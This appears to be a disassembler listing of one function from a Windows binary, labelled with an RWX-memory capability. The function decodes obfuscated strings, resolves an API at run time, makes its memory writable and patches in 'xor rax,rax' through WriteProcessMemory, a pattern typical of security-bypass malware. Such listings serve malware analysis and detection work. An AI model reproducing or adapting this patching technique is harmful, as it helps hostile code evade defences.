Function at 0x140001b70
Capabilities:
Allocate or change rwx memory

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x60
push rcx
pop rsi
nop
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 9
call sub.msvcrt.dll_malloc
or edi, edi
mov ebp, 0x31
mov ecx, 0xd3
cmove ecx, ebp
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c090]
mov r14d, 0xd3
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0xfd
mov byte [rax + 4], dl
mov edx, ecx
xor dl, 0xb7
mov byte [rax + 5], dl
xor cl, 0xbf
mov byte [rax + 6], cl
mov byte [rax + 7], cl
mov byte [rax + 8], 0
push rax
nop
pop rcx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
push rax
nop
pop rdi
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0x10
call sub.msvcrt.dll_malloc
or ebx, ebx
cmove r14d, ebp
movd xmm0, r14d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c0a0]
movq qword [rax], xmm0
lea ecx, [r14 - 0x80]
mov byte [rax + 8], cl
pxor xmm1, xmm1
movdqa xmm2, xmm0
punpcklbw xmm2, xmm1
pshufd xmm1, xmm2, 0xe7
pshuflw xmm1, xmm1, 0xe8
packuswb xmm1, xmm1
movd dword [rax + 9], xmm1
xor r14b, 0xbc
mov byte [rax + 0xd], r14b
movdqa xmmword [rsp + 0x50], xmm0
movzx ecx, byte [rsp + 0x57]
mov byte [rax + 0xe], cl
mov byte [rax + 0xf], 0
nop
push rdi
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
push rax
pop rdi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x30
je 0x140001c70
mov byte [rsp + 0x2a], 0xc0
mov word [rsp + 0x28], 0x3148
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x23
je 0x140001ca0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x4b
je 0x140001cb0
mov dword [rsp + 0x2c], 0
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x7b
je 0x140001cd0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 3
je 0x140001ce0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x83
je 0x140001d00
lea rbx, [rsp + 0x2c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1000
push rsi
pop rcx
nop
nop
push rdi
pop rdx
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x28]
mov r9d, 3
nop
push rsi
pop rcx
push rdi
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x1c
je 0x140001d70
mov r9d, dword [rsp + 0x2c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1000
nop
push rsi
pop rcx
push rdi
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x26
je 0x140001da0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x21
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
mov edx, ecx
xor dl, 0x88
mov byte [rax], dl
mov edx, ecx
xor dl, 0xf8
mov byte [rax + 1], dl
mov edx, ecx
xor dl, 0x8e
mov byte [rax + 2], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c0b0]
pxor xmm1, xmm0
movd dword [rax + 4], xmm1
mov edx, ecx
xor dl, 0xbb
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xb7
mov byte [rax + 0xa], dl
movdqa xmmword [rsp + 0x40], xmm1
movzx edx, byte [rsp + 0x41]
mov byte [rax + 0xc], dl
pxor xmm0, xmmword [0x14000c0c0]
pxor xmm1, xmm1
movdqa xmmword [rsp + 0x30], xmm0
punpcklbw xmm0, xmm1
pshuflw xmm1, xmm0, 0x67
pshufhw xmm1, xmm1, 0xec
pshufd xmm1, xmm1, 0x6c
pshuflw xmm1, xmm1, 0x64
pshufhw xmm1, xmm1, 0x4b
packuswb xmm0, xmm1
movzx edx, byte [rsp + 0x33]
movzx r8d, byte [rsp + 0x36]
mov byte [rax + 3], dl
mov byte [rax + 9], r8b
mov byte [rax + 0xb], dl
movdqu xmmword [rax + 0xd], xmm0
mov edx, ecx
xor dl, 0xf2
mov byte [rax + 0x1d], dl
xor cl, 0x8f
mov byte [rax + 0x1e], cl
movzx ecx, byte [rsp + 0x37]
mov byte [rax + 0x1f], cl
mov byte [rax + 0x20], 0
push rax
pop rcx
nop
call fcn.140001b20
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
add rsp, 0x60
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret